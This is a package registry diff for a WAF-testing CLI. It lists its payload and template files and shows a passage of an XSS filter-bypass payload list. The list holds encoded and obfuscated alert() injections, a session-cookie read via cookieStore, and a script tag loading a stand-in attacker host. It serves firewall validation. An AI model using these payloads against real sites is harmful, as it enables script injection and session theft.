@waftester/cli 2.8.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (141) hide show
  1. package/LICENSE +80 -0
  2. package/LICENSE-COMMUNITY +28 -0
  3. package/README.md +121 -0
  4. package/bin/cli.js +152 -0
  5. package/package.json +52 -0
  6. package/payloads/community/README.md +45 -0
  7. package/payloads/community/ai/ml-poisoning.json +173 -0
  8. package/payloads/community/ai/prompt-injection.json +247 -0
  9. package/payloads/community/ai/workflow-abuse.json +222 -0
  10. package/payloads/community/auth/jwt.json +855 -0
  11. package/payloads/community/auth/login-bypass.json +623 -0
  12. package/payloads/community/auth/mfa.json +402 -0
  13. package/payloads/community/auth/oauth.json +421 -0
  14. package/payloads/community/auth/open-redirect.json +1028 -0
  15. package/payloads/community/auth/session.json +404 -0
  16. package/payloads/community/cache/deception.json +402 -0
  17. package/payloads/community/cache/poisoning.json +403 -0
  18. package/payloads/community/deserialization/gadget.json +375 -0
  19. package/payloads/community/deserialization/prototype.json +370 -0
  20. package/payloads/community/fuzz/content-type.json +397 -0
  21. package/payloads/community/fuzz/headers.json +401 -0
  22. package/payloads/community/fuzz/methods.json +397 -0
  23. package/payloads/community/fuzz/obfuscation.json +362 -0
  24. package/payloads/community/fuzz/special-chars.json +740 -0
  25. package/payloads/community/fuzz/waf-bypass.json +452 -0
  26. package/payloads/community/graphql/batching-abuse.json +271 -0
  27. package/payloads/community/graphql/depth-limit.json +271 -0
  28. package/payloads/community/graphql/introspection.json +267 -0
  29. package/payloads/community/injection/crlf.json +569 -0
  30. package/payloads/community/injection/ldap.json +357 -0
  31. package/payloads/community/injection/nosqli.json +529 -0
  32. package/payloads/community/injection/oscmd.json +662 -0
  33. package/payloads/community/injection/rce-polyglots.json +452 -0
  34. package/payloads/community/injection/sqli.json +681 -0
  35. package/payloads/community/injection/ssti.json +584 -0
  36. package/payloads/community/injection/upload-attacks.json +632 -0
  37. package/payloads/community/injection/xpath.json +357 -0
  38. package/payloads/community/injection/xxe.json +716 -0
  39. package/payloads/community/logic/forced-browsing.json +405 -0
  40. package/payloads/community/logic/idor.json +1026 -0
  41. package/payloads/community/logic/privilege.json +337 -0
  42. package/payloads/community/media/exif-injection.json +225 -0
  43. package/payloads/community/media/metadata-poison.json +239 -0
  44. package/payloads/community/protocol/http-smuggling.json +798 -0
  45. package/payloads/community/protocol/http2-attacks.json +382 -0
  46. package/payloads/community/protocol/websocket-abuse.json +375 -0
  47. package/payloads/community/rate-limit/burst-simulation.json +286 -0
  48. package/payloads/community/rate-limit/bypass-attempts.json +326 -0
  49. package/payloads/community/rate-limit/zone-tests.json +332 -0
  50. package/payloads/community/services/authentik.json +415 -0
  51. package/payloads/community/services/immich.json +423 -0
  52. package/payloads/community/services/n8n.json +366 -0
  53. package/payloads/community/sqli-basic.json +182 -0
  54. package/payloads/community/ssrf/cloud-metadata.json +999 -0
  55. package/payloads/community/ssrf/dns-rebinding.json +503 -0
  56. package/payloads/community/ssrf/internal-networks.json +627 -0
  57. package/payloads/community/ssrf/protocol-smuggling.json +350 -0
  58. package/payloads/community/ssti/multi-language-templates.json +191 -0
  59. package/payloads/community/ssti/python-templates.json +200 -0
  60. package/payloads/community/traversal/basic.json +675 -0
  61. package/payloads/community/traversal/cloud-credentials.json +107 -0
  62. package/payloads/community/traversal/config-files.json +193 -0
  63. package/payloads/community/traversal/encoding.json +558 -0
  64. package/payloads/community/traversal/null-byte.json +105 -0
  65. package/payloads/community/traversal/symlink.json +93 -0
  66. package/payloads/community/traversal/unicode.json +134 -0
  67. package/payloads/community/traversal/unix-advanced.json +195 -0
  68. package/payloads/community/traversal/windows-advanced.json +195 -0
  69. package/payloads/community/waf-bypass/cloudflare-bypass.json +102 -0
  70. package/payloads/community/waf-bypass/encoding-bypass.json +120 -0
  71. package/payloads/community/waf-bypass/evasion-techniques.json +164 -0
  72. package/payloads/community/waf-bypass/hpp-bypass.json +92 -0
  73. package/payloads/community/waf-bypass/modsecurity-crs.json +220 -0
  74. package/payloads/community/waf-bypass/protocol-attacks.json +101 -0
  75. package/payloads/community/waf-bypass/sqlmap-tamper.json +252 -0
  76. package/payloads/community/waf-bypass/unicode-charset.json +152 -0
  77. package/payloads/community/waf-bypass/vendor-bypasses.json +72 -0
  78. package/payloads/community/waf-validation/README.md +172 -0
  79. package/payloads/community/waf-validation/bypass-techniques.json +272 -0
  80. package/payloads/community/waf-validation/custom-rules.json +952 -0
  81. package/payloads/community/waf-validation/evasion-techniques.json +272 -0
  82. package/payloads/community/waf-validation/modsecurity-core.json +151 -0
  83. package/payloads/community/waf-validation/owasp-top10.json +236 -0
  84. package/payloads/community/waf-validation/regression-tests.json +227 -0
  85. package/payloads/community/xss/csp-bypass.json +431 -0
  86. package/payloads/community/xss/dom.json +389 -0
  87. package/payloads/community/xss/filter-bypass.json +1242 -0
  88. package/payloads/community/xss/mutation.json +263 -0
  89. package/payloads/community/xss/polyglots.json +371 -0
  90. package/payloads/community/xss/reflected.json +187 -0
  91. package/payloads/community/xss/stored.json +330 -0
  92. package/payloads/crlf-injection.json +182 -0
  93. package/payloads/ids-map.json +155 -0
  94. package/payloads/ldap-injection.json +182 -0
  95. package/payloads/nosql-injection.json +227 -0
  96. package/payloads/prototype-pollution.json +182 -0
  97. package/payloads/request-smuggling.json +182 -0
  98. package/payloads/version.json +28 -0
  99. package/payloads/xss-advanced.json +227 -0
  100. package/templates/README.md +221 -0
  101. package/templates/nuclei/http/waf-bypass/crlf-bypass.yaml +146 -0
  102. package/templates/nuclei/http/waf-bypass/lfi-bypass.yaml +152 -0
  103. package/templates/nuclei/http/waf-bypass/nosqli-bypass.yaml +166 -0
  104. package/templates/nuclei/http/waf-bypass/rce-bypass.yaml +171 -0
  105. package/templates/nuclei/http/waf-bypass/sqli-basic.yaml +142 -0
  106. package/templates/nuclei/http/waf-bypass/sqli-evasion.yaml +192 -0
  107. package/templates/nuclei/http/waf-bypass/ssrf-bypass.yaml +130 -0
  108. package/templates/nuclei/http/waf-bypass/ssti-bypass.yaml +147 -0
  109. package/templates/nuclei/http/waf-bypass/xss-basic.yaml +163 -0
  110. package/templates/nuclei/http/waf-bypass/xss-evasion.yaml +217 -0
  111. package/templates/nuclei/http/waf-bypass/xxe-bypass.yaml +204 -0
  112. package/templates/nuclei/http/waf-detection/akamai-detect.yaml +105 -0
  113. package/templates/nuclei/http/waf-detection/aws-waf-detect.yaml +115 -0
  114. package/templates/nuclei/http/waf-detection/azure-waf-detect.yaml +114 -0
  115. package/templates/nuclei/http/waf-detection/cloudflare-detect.yaml +121 -0
  116. package/templates/nuclei/http/waf-detection/modsecurity-detect.yaml +129 -0
  117. package/templates/nuclei/workflows/waf-assessment-workflow.yaml +71 -0
  118. package/templates/output/asff.tmpl +61 -0
  119. package/templates/output/csv.tmpl +4 -0
  120. package/templates/output/junit.tmpl +34 -0
  121. package/templates/output/markdown-report.tmpl +92 -0
  122. package/templates/output/slack-notification.tmpl +95 -0
  123. package/templates/output/text-summary.tmpl +56 -0
  124. package/templates/overrides/api-only.yaml +130 -0
  125. package/templates/overrides/crs-tuning.yaml +204 -0
  126. package/templates/overrides/false-positive-suppression.yaml +159 -0
  127. package/templates/policies/owasp-top10.yaml +152 -0
  128. package/templates/policies/pci-dss.yaml +124 -0
  129. package/templates/policies/permissive.yaml +40 -0
  130. package/templates/policies/standard.yaml +57 -0
  131. package/templates/policies/strict.yaml +72 -0
  132. package/templates/report-configs/compliance.yaml +173 -0
  133. package/templates/report-configs/dark.yaml +136 -0
  134. package/templates/report-configs/enterprise.yaml +175 -0
  135. package/templates/report-configs/minimal.yaml +84 -0
  136. package/templates/report-configs/print.yaml +139 -0
  137. package/templates/workflows/api-scan.yaml +132 -0
  138. package/templates/workflows/ci-gate.yaml +129 -0
  139. package/templates/workflows/full-scan.yaml +133 -0
  140. package/templates/workflows/quick-probe.yaml +80 -0
  141. package/templates/workflows/waf-detection.yaml +89 -0
@@ -0,0 +1,1242 @@
1
+ [
2
+ {
3
+ "id": "XSS-FILT-120",
4
+ "payload": "+ADw-script+AD4-alert(1)+ADw-/script+AD4-",
5
+ "tags": [
6
+ "filter-bypass",
7
+ "utf-7",
8
+ "encoding",
9
+ "quick"
10
+ ],
11
+ "expected_block": true,
12
+ "severity_hint": "High",
13
+ "notes": "Filter bypass via UTF-7 encoding",
14
+ "category": "XSS"
15
+ },
16
+ {
17
+ "id": "XSS-FILT-121",
18
+ "payload": "<script>\\u0061\\u006c\\u0065\\u0072\\u0074(1)</script>",
19
+ "tags": [
20
+ "filter-bypass",
21
+ "unicode-escape",
22
+ "encoding"
23
+ ],
24
+ "expected_block": true,
25
+ "severity_hint": "High",
26
+ "notes": "Filter bypass via Unicode escape sequences",
27
+ "category": "XSS"
28
+ },
29
+ {
30
+ "id": "XSS-FILT-122",
31
+ "payload": "<script>\\x61\\x6c\\x65\\x72\\x74(1)</script>",
32
+ "tags": [
33
+ "filter-bypass",
34
+ "hex-escape",
35
+ "encoding"
36
+ ],
37
+ "expected_block": true,
38
+ "severity_hint": "High",
39
+ "notes": "Filter bypass via hex escape sequences",
40
+ "category": "XSS"
41
+ },
42
+ {
43
+ "id": "XSS-FILT-123",
44
+ "payload": "<script>eval('\\x61\\x6c\\x65\\x72\\x74\\x28\\x31\\x29')</script>",
45
+ "tags": [
46
+ "filter-bypass",
47
+ "eval",
48
+ "hex"
49
+ ],
50
+ "expected_block": true,
51
+ "severity_hint": "Critical",
52
+ "notes": "Filter bypass via eval with hex encoding",
53
+ "category": "XSS"
54
+ },
55
+ {
56
+ "id": "XSS-FILT-124",
57
+ "payload": "<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>",
58
+ "tags": [
59
+ "filter-bypass",
60
+ "fromCharCode",
61
+ "encoding"
62
+ ],
63
+ "expected_block": true,
64
+ "severity_hint": "Critical",
65
+ "notes": "Filter bypass via String.fromCharCode",
66
+ "category": "XSS"
67
+ },
68
+ {
69
+ "id": "XSS-FILT-125",
70
+ "payload": "<script>eval(atob('YWxlcnQoMSk='))</script>",
71
+ "tags": [
72
+ "filter-bypass",
73
+ "base64",
74
+ "atob"
75
+ ],
76
+ "expected_block": true,
77
+ "severity_hint": "Critical",
78
+ "notes": "Filter bypass via Base64 decoding (atob)",
79
+ "category": "XSS"
80
+ },
81
+ {
82
+ "id": "XSS-FILT-126",
83
+ "payload": "&#60;script&#62;alert(1)&#60;/script&#62;",
84
+ "tags": [
85
+ "filter-bypass",
86
+ "html-entities",
87
+ "decimal",
88
+ "quick"
89
+ ],
90
+ "expected_block": true,
91
+ "severity_hint": "High",
92
+ "notes": "Filter bypass via decimal HTML entities",
93
+ "category": "XSS"
94
+ },
95
+ {
96
+ "id": "XSS-FILT-127",
97
+ "payload": "&#x3c;script&#x3e;alert(1)&#x3c;/script&#x3e;",
98
+ "tags": [
99
+ "filter-bypass",
100
+ "html-entities",
101
+ "hex"
102
+ ],
103
+ "expected_block": true,
104
+ "severity_hint": "High",
105
+ "notes": "Filter bypass via hexadecimal HTML entities",
106
+ "category": "XSS"
107
+ },
108
+ {
109
+ "id": "XSS-FILT-128",
110
+ "payload": "<ScRiPt>alert(1)</sCrIpT>",
111
+ "tags": [
112
+ "filter-bypass",
113
+ "mixed-case",
114
+ "quick"
115
+ ],
116
+ "expected_block": true,
117
+ "severity_hint": "High",
118
+ "notes": "Filter bypass via mixed case tag names",
119
+ "category": "XSS"
120
+ },
121
+ {
122
+ "id": "XSS-FILT-129",
123
+ "payload": "<script>a\\u006cert(1)</script>",
124
+ "tags": [
125
+ "filter-bypass",
126
+ "partial-unicode"
127
+ ],
128
+ "expected_block": true,
129
+ "severity_hint": "High",
130
+ "notes": "Filter bypass via partial Unicode in function name",
131
+ "category": "XSS"
132
+ },
133
+ {
134
+ "id": "XSS-FILT-130",
135
+ "payload": "<img src=x onerror=\"&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;\">",
136
+ "tags": [
137
+ "filter-bypass",
138
+ "attribute",
139
+ "entities"
140
+ ],
141
+ "expected_block": true,
142
+ "severity_hint": "High",
143
+ "notes": "Filter bypass via HTML entities in attribute",
144
+ "category": "XSS"
145
+ },
146
+ {
147
+ "id": "XSS-FILT-131",
148
+ "payload": "<img src=x onerror='\\u0061\\u006c\\u0065\\u0072\\u0074(1)'>",
149
+ "tags": [
150
+ "filter-bypass",
151
+ "attribute",
152
+ "unicode"
153
+ ],
154
+ "expected_block": true,
155
+ "severity_hint": "High",
156
+ "notes": "Filter bypass via Unicode in attribute value",
157
+ "category": "XSS"
158
+ },
159
+ {
160
+ "id": "XSS-FILT-132",
161
+ "payload": "<script>/**/alert(1)/**/</script>",
162
+ "tags": [
163
+ "filter-bypass",
164
+ "comment",
165
+ "whitespace"
166
+ ],
167
+ "expected_block": true,
168
+ "severity_hint": "Medium",
169
+ "notes": "Filter bypass via comments as whitespace",
170
+ "category": "XSS"
171
+ },
172
+ {
173
+ "id": "XSS-FILT-133",
174
+ "payload": "<svg><script>alert&#40;1&#41;</script></svg>",
175
+ "tags": [
176
+ "filter-bypass",
177
+ "svg",
178
+ "entities"
179
+ ],
180
+ "expected_block": true,
181
+ "severity_hint": "High",
182
+ "notes": "Filter bypass via HTML entities in SVG",
183
+ "category": "XSS"
184
+ },
185
+ {
186
+ "id": "XSS-FILT-134",
187
+ "payload": "<img src=x onerror=alert`1`>",
188
+ "tags": [
189
+ "filter-bypass",
190
+ "template-literal",
191
+ "backtick"
192
+ ],
193
+ "expected_block": true,
194
+ "severity_hint": "High",
195
+ "notes": "Filter bypass via ES6 template literal syntax",
196
+ "category": "XSS"
197
+ },
198
+ {
199
+ "id": "XSS-FILT-135",
200
+ "payload": "<svg/onload=alert(1)>",
201
+ "tags": ["filter-bypass", "svg", "no-space"],
202
+ "expected_block": true,
203
+ "severity_hint": "High",
204
+ "notes": "No space between tag and attribute",
205
+ "category": "XSS"
206
+ },
207
+ {
208
+ "id": "XSS-FILT-136",
209
+ "payload": "<svg\tonload=alert(1)>",
210
+ "tags": ["filter-bypass", "tab", "whitespace"],
211
+ "expected_block": true,
212
+ "severity_hint": "High",
213
+ "notes": "Tab character as separator",
214
+ "category": "XSS"
215
+ },
216
+ {
217
+ "id": "XSS-FILT-137",
218
+ "payload": "<svg\nonload=alert(1)>",
219
+ "tags": ["filter-bypass", "newline", "whitespace"],
220
+ "expected_block": true,
221
+ "severity_hint": "High",
222
+ "notes": "Newline as attribute separator",
223
+ "category": "XSS"
224
+ },
225
+ {
226
+ "id": "XSS-FILT-138",
227
+ "payload": "<svg\ronload=alert(1)>",
228
+ "tags": ["filter-bypass", "carriage-return", "whitespace"],
229
+ "expected_block": true,
230
+ "severity_hint": "High",
231
+ "notes": "Carriage return as separator",
232
+ "category": "XSS"
233
+ },
234
+ {
235
+ "id": "XSS-FILT-139",
236
+ "payload": "<svg\u000Conload=alert(1)>",
237
+ "tags": ["filter-bypass", "form-feed", "whitespace"],
238
+ "expected_block": true,
239
+ "severity_hint": "High",
240
+ "notes": "Form feed character (0x0C) as separator",
241
+ "category": "XSS"
242
+ },
243
+ {
244
+ "id": "XSS-FILT-140",
245
+ "payload": "<img src=x onerror\u000B=alert(1)>",
246
+ "tags": ["filter-bypass", "vertical-tab"],
247
+ "expected_block": true,
248
+ "severity_hint": "High",
249
+ "notes": "Vertical tab before equals sign",
250
+ "category": "XSS"
251
+ },
252
+ {
253
+ "id": "XSS-FILT-141",
254
+ "payload": "<img src=1 onerror\u0000=alert(1)>",
255
+ "tags": ["filter-bypass", "null-byte"],
256
+ "expected_block": true,
257
+ "severity_hint": "High",
258
+ "notes": "Null byte before equals in attribute",
259
+ "category": "XSS"
260
+ },
261
+ {
262
+ "id": "XSS-FILT-142",
263
+ "payload": "<%00script>alert(1)</script>",
264
+ "tags": ["filter-bypass", "null-byte", "tag"],
265
+ "expected_block": true,
266
+ "severity_hint": "High",
267
+ "notes": "Null byte after opening bracket",
268
+ "category": "XSS"
269
+ },
270
+ {
271
+ "id": "XSS-FILT-143",
272
+ "payload": "<script>onerror=alert;throw 1</script>",
273
+ "tags": ["filter-bypass", "throw", "onerror"],
274
+ "expected_block": true,
275
+ "severity_hint": "Critical",
276
+ "notes": "Parenthesis bypass via throw/onerror",
277
+ "category": "XSS"
278
+ },
279
+ {
280
+ "id": "XSS-FILT-144",
281
+ "payload": "<script>{onerror=alert}throw 1</script>",
282
+ "tags": ["filter-bypass", "throw", "block"],
283
+ "expected_block": true,
284
+ "severity_hint": "Critical",
285
+ "notes": "Block statement throw bypass",
286
+ "category": "XSS"
287
+ },
288
+ {
289
+ "id": "XSS-FILT-145",
290
+ "payload": "<script>throw onerror=alert,'some string',123,'haha'</script>",
291
+ "tags": ["filter-bypass", "throw", "comma"],
292
+ "expected_block": true,
293
+ "severity_hint": "Critical",
294
+ "notes": "Comma operator in throw statement",
295
+ "category": "XSS"
296
+ },
297
+ {
298
+ "id": "XSS-FILT-146",
299
+ "payload": "<script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script>",
300
+ "tags": ["filter-bypass", "prototype", "advanced"],
301
+ "expected_block": true,
302
+ "severity_hint": "Critical",
303
+ "notes": "Prototype pollution for XSS",
304
+ "category": "XSS"
305
+ },
306
+ {
307
+ "id": "XSS-FILT-147",
308
+ "payload": "<script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script>",
309
+ "tags": ["filter-bypass", "advanced", "regex"],
310
+ "expected_block": true,
311
+ "severity_hint": "Critical",
312
+ "notes": "Complex throw bypass with URL object",
313
+ "category": "XSS"
314
+ },
315
+ {
316
+ "id": "XSS-FILT-148",
317
+ "payload": "eval('ale'+'rt(0)')",
318
+ "tags": ["filter-bypass", "concat", "eval"],
319
+ "expected_block": true,
320
+ "severity_hint": "Critical",
321
+ "notes": "String concatenation bypass",
322
+ "category": "XSS"
323
+ },
324
+ {
325
+ "id": "XSS-FILT-149",
326
+ "payload": "Function('ale'+'rt(1)')()",
327
+ "tags": ["filter-bypass", "Function", "constructor"],
328
+ "expected_block": true,
329
+ "severity_hint": "Critical",
330
+ "notes": "Function constructor bypass",
331
+ "category": "XSS"
332
+ },
333
+ {
334
+ "id": "XSS-FILT-150",
335
+ "payload": "new Function`al\\ert\\`6\\``",
336
+ "tags": ["filter-bypass", "template", "constructor"],
337
+ "expected_block": true,
338
+ "severity_hint": "Critical",
339
+ "notes": "Template literal Function constructor",
340
+ "category": "XSS"
341
+ },
342
+ {
343
+ "id": "XSS-FILT-151",
344
+ "payload": "setTimeout('ale'+'rt(2)')",
345
+ "tags": ["filter-bypass", "setTimeout", "concat"],
346
+ "expected_block": true,
347
+ "severity_hint": "Critical",
348
+ "notes": "setTimeout string concat bypass",
349
+ "category": "XSS"
350
+ },
351
+ {
352
+ "id": "XSS-FILT-152",
353
+ "payload": "setInterval('ale'+'rt(10)')",
354
+ "tags": ["filter-bypass", "setInterval", "concat"],
355
+ "expected_block": true,
356
+ "severity_hint": "Critical",
357
+ "notes": "setInterval string concat bypass",
358
+ "category": "XSS"
359
+ },
360
+ {
361
+ "id": "XSS-FILT-153",
362
+ "payload": "Set.constructor('ale'+'rt(13)')()",
363
+ "tags": ["filter-bypass", "Set", "constructor"],
364
+ "expected_block": true,
365
+ "severity_hint": "Critical",
366
+ "notes": "Set constructor bypass",
367
+ "category": "XSS"
368
+ },
369
+ {
370
+ "id": "XSS-FILT-154",
371
+ "payload": "Set.constructor`al\\x65rt\\x2814\\x29```",
372
+ "tags": ["filter-bypass", "hex", "template"],
373
+ "expected_block": true,
374
+ "severity_hint": "Critical",
375
+ "notes": "Set constructor hex escape template",
376
+ "category": "XSS"
377
+ },
378
+ {
379
+ "id": "XSS-FILT-155",
380
+ "payload": "window['alert'](0)",
381
+ "tags": ["filter-bypass", "bracket", "notation"],
382
+ "expected_block": true,
383
+ "severity_hint": "High",
384
+ "notes": "Bracket notation for function call",
385
+ "category": "XSS"
386
+ },
387
+ {
388
+ "id": "XSS-FILT-156",
389
+ "payload": "parent['alert'](1)",
390
+ "tags": ["filter-bypass", "parent", "bracket"],
391
+ "expected_block": true,
392
+ "severity_hint": "High",
393
+ "notes": "Parent window bracket access",
394
+ "category": "XSS"
395
+ },
396
+ {
397
+ "id": "XSS-FILT-157",
398
+ "payload": "self['alert'](2)",
399
+ "tags": ["filter-bypass", "self", "bracket"],
400
+ "expected_block": true,
401
+ "severity_hint": "High",
402
+ "notes": "Self reference bracket access",
403
+ "category": "XSS"
404
+ },
405
+ {
406
+ "id": "XSS-FILT-158",
407
+ "payload": "top['alert'](3)",
408
+ "tags": ["filter-bypass", "top", "bracket"],
409
+ "expected_block": true,
410
+ "severity_hint": "High",
411
+ "notes": "Top window bracket access",
412
+ "category": "XSS"
413
+ },
414
+ {
415
+ "id": "XSS-FILT-159",
416
+ "payload": "this['alert'](4)",
417
+ "tags": ["filter-bypass", "this", "bracket"],
418
+ "expected_block": true,
419
+ "severity_hint": "High",
420
+ "notes": "This reference bracket access",
421
+ "category": "XSS"
422
+ },
423
+ {
424
+ "id": "XSS-FILT-160",
425
+ "payload": "frames['alert'](5)",
426
+ "tags": ["filter-bypass", "frames", "bracket"],
427
+ "expected_block": true,
428
+ "severity_hint": "High",
429
+ "notes": "Frames object bracket access",
430
+ "category": "XSS"
431
+ },
432
+ {
433
+ "id": "XSS-FILT-161",
434
+ "payload": "content['alert'](6)",
435
+ "tags": ["filter-bypass", "content", "bracket"],
436
+ "expected_block": true,
437
+ "severity_hint": "High",
438
+ "notes": "Content window bracket access",
439
+ "category": "XSS"
440
+ },
441
+ {
442
+ "id": "XSS-FILT-162",
443
+ "payload": "[7].map(alert)",
444
+ "tags": ["filter-bypass", "array", "map"],
445
+ "expected_block": true,
446
+ "severity_hint": "High",
447
+ "notes": "Array map to call alert",
448
+ "category": "XSS"
449
+ },
450
+ {
451
+ "id": "XSS-FILT-163",
452
+ "payload": "[8].find(alert)",
453
+ "tags": ["filter-bypass", "array", "find"],
454
+ "expected_block": true,
455
+ "severity_hint": "High",
456
+ "notes": "Array find to call alert",
457
+ "category": "XSS"
458
+ },
459
+ {
460
+ "id": "XSS-FILT-164",
461
+ "payload": "[9].every(alert)",
462
+ "tags": ["filter-bypass", "array", "every"],
463
+ "expected_block": true,
464
+ "severity_hint": "High",
465
+ "notes": "Array every to call alert",
466
+ "category": "XSS"
467
+ },
468
+ {
469
+ "id": "XSS-FILT-165",
470
+ "payload": "[10].filter(alert)",
471
+ "tags": ["filter-bypass", "array", "filter"],
472
+ "expected_block": true,
473
+ "severity_hint": "High",
474
+ "notes": "Array filter to call alert",
475
+ "category": "XSS"
476
+ },
477
+ {
478
+ "id": "XSS-FILT-166",
479
+ "payload": "[11].findIndex(alert)",
480
+ "tags": ["filter-bypass", "array", "findIndex"],
481
+ "expected_block": true,
482
+ "severity_hint": "High",
483
+ "notes": "Array findIndex to call alert",
484
+ "category": "XSS"
485
+ },
486
+ {
487
+ "id": "XSS-FILT-167",
488
+ "payload": "[12].forEach(alert)",
489
+ "tags": ["filter-bypass", "array", "forEach"],
490
+ "expected_block": true,
491
+ "severity_hint": "High",
492
+ "notes": "Array forEach to call alert",
493
+ "category": "XSS"
494
+ },
495
+ {
496
+ "id": "XSS-FILT-168",
497
+ "payload": "top[8680439..toString(30)](7)",
498
+ "tags": ["filter-bypass", "radix", "obfuscation"],
499
+ "expected_block": true,
500
+ "severity_hint": "High",
501
+ "notes": "Number toString radix bypass",
502
+ "category": "XSS"
503
+ },
504
+ {
505
+ "id": "XSS-FILT-169",
506
+ "payload": "top[/al/.source+/ert/.source](8)",
507
+ "tags": ["filter-bypass", "regex", "source"],
508
+ "expected_block": true,
509
+ "severity_hint": "High",
510
+ "notes": "Regex source concatenation",
511
+ "category": "XSS"
512
+ },
513
+ {
514
+ "id": "XSS-FILT-170",
515
+ "payload": "top['al\\x65rt'](9)",
516
+ "tags": ["filter-bypass", "hex", "escape"],
517
+ "expected_block": true,
518
+ "severity_hint": "High",
519
+ "notes": "Hex escape in string",
520
+ "category": "XSS"
521
+ },
522
+ {
523
+ "id": "XSS-FILT-171",
524
+ "payload": "prompt`${document.domain}`",
525
+ "tags": ["filter-bypass", "template", "tagged"],
526
+ "expected_block": true,
527
+ "severity_hint": "High",
528
+ "notes": "Tagged template literal",
529
+ "category": "XSS"
530
+ },
531
+ {
532
+ "id": "XSS-FILT-172",
533
+ "payload": "document.location='java\\tscript:alert(1)'",
534
+ "tags": ["filter-bypass", "tab", "javascript"],
535
+ "expected_block": true,
536
+ "severity_hint": "Critical",
537
+ "notes": "Tab in javascript protocol",
538
+ "category": "XSS"
539
+ },
540
+ {
541
+ "id": "XSS-FILT-173",
542
+ "payload": "document.location='java\\rscript:alert(1)'",
543
+ "tags": ["filter-bypass", "carriage-return", "javascript"],
544
+ "expected_block": true,
545
+ "severity_hint": "Critical",
546
+ "notes": "Carriage return in javascript protocol",
547
+ "category": "XSS"
548
+ },
549
+ {
550
+ "id": "XSS-FILT-174",
551
+ "payload": "document.location='java\\nscript:alert(1)'",
552
+ "tags": ["filter-bypass", "newline", "javascript"],
553
+ "expected_block": true,
554
+ "severity_hint": "Critical",
555
+ "notes": "Newline in javascript protocol",
556
+ "category": "XSS"
557
+ },
558
+ {
559
+ "id": "XSS-FILT-175",
560
+ "payload": "open('java'+'script:ale'+'rt(11)')",
561
+ "tags": ["filter-bypass", "open", "concat"],
562
+ "expected_block": true,
563
+ "severity_hint": "Critical",
564
+ "notes": "Window.open with concatenation",
565
+ "category": "XSS"
566
+ },
567
+ {
568
+ "id": "XSS-FILT-176",
569
+ "payload": "location='javascript:ale'+'rt(12)'",
570
+ "tags": ["filter-bypass", "location", "concat"],
571
+ "expected_block": true,
572
+ "severity_hint": "Critical",
573
+ "notes": "Location assignment with concat",
574
+ "category": "XSS"
575
+ },
576
+ {
577
+ "id": "XSS-FILT-177",
578
+ "payload": "setTimeout`alert\\u0028document.domain\\u0029`",
579
+ "tags": ["filter-bypass", "template", "unicode"],
580
+ "expected_block": true,
581
+ "severity_hint": "Critical",
582
+ "notes": "setTimeout template with unicode",
583
+ "category": "XSS"
584
+ },
585
+ {
586
+ "id": "XSS-FILT-178",
587
+ "payload": "[].filter.constructor('ale'+'rt(4)')()",
588
+ "tags": ["filter-bypass", "constructor", "array"],
589
+ "expected_block": true,
590
+ "severity_hint": "Critical",
591
+ "notes": "Array filter constructor",
592
+ "category": "XSS"
593
+ },
594
+ {
595
+ "id": "XSS-FILT-179",
596
+ "payload": "<div id=x></div><script>alert(x.parentNode.parentNode.parentNode.location)</script>",
597
+ "tags": ["filter-bypass", "document", "dom"],
598
+ "expected_block": true,
599
+ "severity_hint": "High",
600
+ "notes": "Document blacklist bypass via DOM traversal",
601
+ "category": "XSS"
602
+ },
603
+ {
604
+ "id": "XSS-FILT-180",
605
+ "payload": "window['doc'+'ument']",
606
+ "tags": ["filter-bypass", "document", "concat"],
607
+ "expected_block": true,
608
+ "severity_hint": "High",
609
+ "notes": "Document access via concatenation",
610
+ "category": "XSS"
611
+ },
612
+ {
613
+ "id": "XSS-FILT-181",
614
+ "payload": "window.cookieStore.get('session').then((c)=>{alert(c.value)})",
615
+ "tags": ["filter-bypass", "cookieStore", "api"],
616
+ "expected_block": true,
617
+ "severity_hint": "Critical",
618
+ "notes": "CookieStore API bypass",
619
+ "category": "XSS"
620
+ },
621
+ {
622
+ "id": "XSS-FILT-182",
623
+ "payload": "<svg onload=alert(1)//",
624
+ "tags": ["filter-bypass", "unclosed", "svg"],
625
+ "expected_block": true,
626
+ "severity_hint": "High",
627
+ "notes": "No closing bracket needed",
628
+ "category": "XSS"
629
+ },
630
+ {
631
+ "id": "XSS-FILT-183",
632
+ "payload": "<script/src=//evil.site/poc.js>",
633
+ "tags": ["filter-bypass", "fullwidth", "unicode"],
634
+ "expected_block": true,
635
+ "severity_hint": "High",
636
+ "notes": "Fullwidth Unicode less/greater than",
637
+ "category": "XSS"
638
+ },
639
+ {
640
+ "id": "XSS-FILT-184",
641
+ "payload": "'te' * alert('*') * 'xt'",
642
+ "tags": ["filter-bypass", "semicolon", "operator"],
643
+ "expected_block": true,
644
+ "severity_hint": "High",
645
+ "notes": "Semicolon bypass with multiplication",
646
+ "category": "XSS"
647
+ },
648
+ {
649
+ "id": "XSS-FILT-185",
650
+ "payload": "'te' , alert(',') , 'xt'",
651
+ "tags": ["filter-bypass", "semicolon", "comma"],
652
+ "expected_block": true,
653
+ "severity_hint": "High",
654
+ "notes": "Semicolon bypass with comma operator",
655
+ "category": "XSS"
656
+ },
657
+ {
658
+ "id": "XSS-FILT-186",
659
+ "payload": "'te' ? alert('ifelse') : 'xt'",
660
+ "tags": ["filter-bypass", "semicolon", "ternary"],
661
+ "expected_block": true,
662
+ "severity_hint": "High",
663
+ "notes": "Semicolon bypass with ternary",
664
+ "category": "XSS"
665
+ },
666
+ {
667
+ "id": "XSS-FILT-187",
668
+ "payload": "'te' in alert('in') in 'xt'",
669
+ "tags": ["filter-bypass", "semicolon", "in"],
670
+ "expected_block": true,
671
+ "severity_hint": "High",
672
+ "notes": "Semicolon bypass with in operator",
673
+ "category": "XSS"
674
+ },
675
+ {
676
+ "id": "XSS-FILT-188",
677
+ "payload": "%C0%BCscript%C0%BEalert(1)%C0%BC/script%C0%BE",
678
+ "tags": ["filter-bypass", "utf-8", "overlong"],
679
+ "expected_block": true,
680
+ "severity_hint": "High",
681
+ "notes": "UTF-8 overlong encoding bypass",
682
+ "category": "XSS"
683
+ },
684
+ {
685
+ "id": "XSS-FILT-189",
686
